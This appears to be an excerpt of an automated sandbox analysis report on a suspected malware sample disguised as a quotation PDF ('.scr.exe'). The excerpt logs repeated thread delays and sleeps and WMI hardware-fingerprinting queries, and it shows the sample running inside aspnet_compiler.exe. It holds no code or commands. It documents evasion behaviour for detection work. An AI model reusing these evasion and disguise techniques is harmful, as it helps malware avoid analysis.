Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 594562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1800000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1799875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1799766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1799657	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1799532	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1799407	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1799297	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1799188	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1799063	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1798938	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1798813	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1798688	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1798578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1798468	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1798357	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1798250	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1798141	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1798016	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1797906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1797797	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1797688	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1797563	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1797438	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1797325	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1797219	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1797094	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1796981	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1796875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1796766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1796657	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1796532	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1796407	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1796282	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1796172	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1796063	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1795938	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1795809	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1795704	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1795579	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1795454	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1795329	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1795204	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1795079	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1794954	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1794829	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1794704	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1794579	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1794454	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1794329	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 1794204	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Window / User API: threadDelayed 2163	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Window / User API: threadDelayed 7690	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Window / User API: threadDelayed 1710	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Window / User API: threadDelayed 8123	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -27670116110564310s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -599765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -599649s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -599437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -599326s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -599218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -599108s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -599000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -598890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -598781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -598672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -598562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -598453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -598343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -598234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -598125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -598015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -597905s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -597797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -597687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -597577s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -597468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -597359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -597244s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -597140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -597031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -596915s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -596812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -596703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -596593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -596484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -596375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -596265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -596156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -596047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -595937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -595828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -595718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -595609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -595487s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -595375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -595265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -595156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -595047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -594937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -594780s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -594663s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe TID: 1892	Thread sleep time: -594562s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -29514790517935264s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1800000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7788	Thread sleep count: 1710 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1799875s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7788	Thread sleep count: 8123 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1799766s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1799657s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1799532s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1799407s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1799297s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1799188s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1799063s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1798938s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1798813s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1798688s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1798578s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1798468s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1798357s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1798250s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1798141s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1798016s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1797906s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1797797s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1797688s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1797563s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1797438s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1797325s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1797219s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1797094s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1796981s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1796875s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1796766s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1796657s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1796532s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1796407s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1796282s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1796172s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1796063s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1795938s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1795809s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1795704s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1795579s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1795454s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1795329s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1795204s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1795079s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1794954s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1794829s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1794704s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1794579s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1794454s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1794329s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 7780	Thread sleep time: -1794204s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_BIOS
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_ComputerSystem

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 599649	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 599326	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 599108	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 598343	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 598015	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 597905	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 597797	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 597687	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 597577	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 597468	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 597359	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 597244	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 597140	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 597031	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 596915	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 596812	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 596593	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 596484	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 596375	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 596265	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 596156	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 596047	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 595937	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 595828	Jump to behavior
